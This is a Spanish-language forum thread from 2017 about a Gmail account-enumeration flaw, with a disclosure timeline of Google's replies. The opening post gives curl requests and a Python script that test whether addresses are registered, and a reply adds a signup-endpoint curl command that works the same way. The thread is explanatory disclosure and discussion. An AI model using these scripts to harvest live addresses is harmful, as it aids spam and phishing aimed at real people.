Explotar Vulnerabilidad de Gmail para Obtener Direcciones de Correo

Iniciado por qwartz, Abril 17, 2017, 12:40:10 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Abril 17, 2017, 12:40:10 AM Ultima modificación: Abril 17, 2017, 11:41:10 AM por Gabriela
Actualmente No tienes permitido ver los links. Registrarse o Entrar a mi cuenta tiene una 'vulnerabilidad' que permite encontrar gran cantidad de direcciones de correo, dicho error fue encontrado por @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, y como de costumbre fue ignorado por Gmail.

Citar02/03/2017 14:54:00 (UTC + 1): póngase en contacto con Google con este número
02/03/2017 17:13:00 (UTC + 1): Respuesta de Google "su informe fue evaluado y actualmente estamos estudiando".
02/03/2017 17:27:00 (UTC + 1): Respuesta de Google "Decidimos encaminar internamente a un equipo que se ocupa de cuestiones similares"
22/03/2017 00:56:00 (UTC + 1): Respuesta de Google "No nos hemos olvidado de su informe; Todavía estamos buscando en él y volveremos a usted en un par de días. "
31/03/2017 16:29:00 (UTC + 1): Google decidió no clasificar esto como un bug de seguridad ¯ \ _ (ツ) _ / ¯

Esto solo es fuerza bruta, si buscas algo jugoso como un 0day pásate de largo  ;)

Vulnerabilidad:
La URL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta nos permite saber si un usuario/correo_electrotécnico esta registrado o dado de alta en el servicio, ¿Como? pues al no estar registrado da una respuesta diferente en: headers, Ejemplo:

Código: php

$ curl -v https://mail.google.com/mail/gxlu?email=<cuenta_activa>
[...]
< HTTP/1.1 204 No Content
< Cache-Control: no-cache, no-store, max-age=0, must-revalidate
< Pragma: no-cache
< Expires: Mon, 01 Jan 1990 00:00:00 GMT
< Date: Thu, 02 Mar 2017 11:43:10 GMT
< Server: GSE
< Set-Cookie: S=gmail=ilixOdEvDf9fbi2w4OYwRIQkpUcwCKK6; Expires=Thu, 02-Mar-2017 12:43:10 GMT; Path=/mail; Secure; HttpOnly
< Set-Cookie: COMPASS=gmail=CmYACWuJVycLtY31gmk6cAgFQBfuovcN3rfKw05y2kngwptEGIyez478x5O1fJW-dxF4sDChgHulPqu5kDjgCnEQGi0egQkahglkL6Hl5ANZ-v4zRnzWdYxjtZ_8aV6bhAs8w2uH1X8Ql6fgxQUabwAJa4lX4mDPO08mNP4srg8ScUYXcW-bcdfx7U78Xa2IgEGwfn2EZPlDFm5B1b97cyOzPhliiPGhdsfb0PQysYCiVIw2sVb-Ayyq1-S6aFlcsPpwru06Kh64grTP3ZMLSaCE5hF_gjDTXxZ4Xl0S0Q; expires=Sun, 12-Mar-2017 11:43:10 GMT; path=/mail; Secure; HttpOnly
< Alt-Svc: quic=":443"; ma=2592000; v="35,34"


Y si probamos con una cuenta inexistente:

Código: php

$ curl -v https://mail.google.com/mail/gxlu?email=<cuenta_inexistente>
[...]
< HTTP/1.1 204 No Content
< Cache-Control: no-cache, no-store, max-age=0, must-revalidate
< Pragma: no-cache
< Expires: Mon, 01 Jan 1990 00:00:00 GMT
< Date: Thu, 02 Mar 2017 11:42:08 GMT
< Server: GSE
< Alt-Svc: quic=":443"; ma=2592000; v="35,34"


Como podemos observar el servidor agrega en: headers el encabezado Set-Cookie, esto solo para las cuentas activas/registradas

Explotación:
Para poder aprovecharnos de esta vulnerabilidad podemos crear un script que intente adivinar que cuentas estan registradas en el servicio, por ejemplo: (Este ejemplo es básico no intenta ser una herramienta, solo es la base o lógica de explotación)

Código: python

import requests

cuentas = ["juan123123123.002", "pedrovazquez", "juanperez", "lkasjdklasjdajsdal", "as1321223123d100012", "qwerty002"]

def set_cookie(cuentas):
try:
url = requests.get("https://mail.google.com/mail/gxlu?email=" + cuentas + "@gmail.com")
test = url.headers['set-cookie']
print cuentas+"@gmail.com"
except KeyError:
pass

for i in cuentas:
set_cookie(i)


Al ejecutar el script nos damos cuenta que solo imprimirá por pantalla las cuentas que estén activas de las lista: cuentas.



Impacto:
Este error puede ser explotado con fines maliciosos como: campañas de marketing agresivas (es decir, recibir correos electrónicos no solicitados) o en el peor de los casos ataques de phishing y ransomware, como de costumbre.

Este post fue realizado con fines educativos y de prevención y en ningún caso para promover acciones ilegales o delictivas.

...

Desconocía esto, me vendrá bien para una tool que estoy haciendo  ;D
Siempre he pensado que la fijación de Google con hacer todo más conectado ha abierto muchas puertas a los fines maliciosos.
\x11\x12\x13

@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta Espero que te haya sido útil la información, ojala y comparta su herramienta ;)

La vulnerabilidad existir existe, google de unos años a aquí ignora todas y luego, en secreto, las parchea.

De cualquier forma, como es fuerza bruta, no veo que sea muy diferente a enviar correo a todas las direcciones y esperar la respuesta de que el correo no existe.

Muy curiosa esta vulnerabilidad, gracias por compartirlo

Atr0m

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
De cualquier forma, como es fuerza bruta, no veo que sea muy diferente a enviar correo a todas las direcciones y esperar la respuesta de que el correo no existe.

Si tienes razón! la única diferencia es que usted puede estar seguro que los correos que obtenga si están registrados, pero aun así estos tal vez no sean utilizados

Gracias!, hace tiempo buscaba una herramienta asi, es util para evitar los Email Spoofing xD, aunque supongo que a la multitud de peticiones debe existir un bloqueo


Saludos!

Disculpen mi intromisión pero me parece mas practica mis tecnicas con las que colabore con el chema.
Link: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Y este otro link: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos Rootkit.

Abril 26, 2017, 02:09:05 AM #8 Ultima modificación: Abril 26, 2017, 02:16:26 AM por Gargamel123
Estoy totalmente deacuerdo con Google, esto no es ninguna "vulneravilidad", si no, es un servicio.

Recordemos que en la pagina de registro de gmail, al escribir un nuevo correo, inmediatamente se dispara una peticion ajax informando si el correo esta en uso o no, asi que podemos hacer lo mismo

Código: bash
curl -X POST -H "Accept: Application/json" -H "Content-Type: application/json" -d '{"input01":{"Input":"GmailAddress","GmailAddress":"pepelucho","FirstName":"","LastName":""},"Locale":"es"}' https://accounts.google.com/InputValidator?resource=SignUp&service=mail


En donde el valor "pepelucho" es el nombre de correo que se esta consultando su disponibilidad (no es necesario escribir No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)

Y Google responde de la siguiente forma si no esta disponible:
Código: bash
{"input01":{"Valid":"false","ErrorMessage":"Ese nombre de usuario ya está en uso. Prueba con otro.","Errors":{"GmailAddress":"Ese nombre de usuario ya está en uso. Prueba con otro."},"ErrorData":[]},"Locale":"es"}


Y si el correo no existe (esta disponible) entonces devuelve:
Código: bash
{"input01":{"Valid":"true","ErrorData":[]},"Locale":"es"}


Como dije lineas arriba, esto no es ninguna vulnerabilidad, es solo un servicio que siempre estuvo disponible

Si por el tiempo que tarda en responder un ordenador al introducir un nombre usuario de usuario y password podemos obtener información de si existe o no el usuario, es una vulnerabilidad.
Si una pagina web permite que al realizar una petición con un usuario y password saber si el usuario existe o no, no lo es.

Me cuesta ver la diferencia. Pero es verdad que si no das al usuario la posibilidad de saber si existe o no un mail en un servicio on line, no puede saber si el mail esta cogido o no para hacerse una nueva cuenta.

No obstante, esa feature entiendo que no debería estar en el servicio de login.

Lo siento, no contesto dudas por MP, si tienes dudas las planteas en el foro.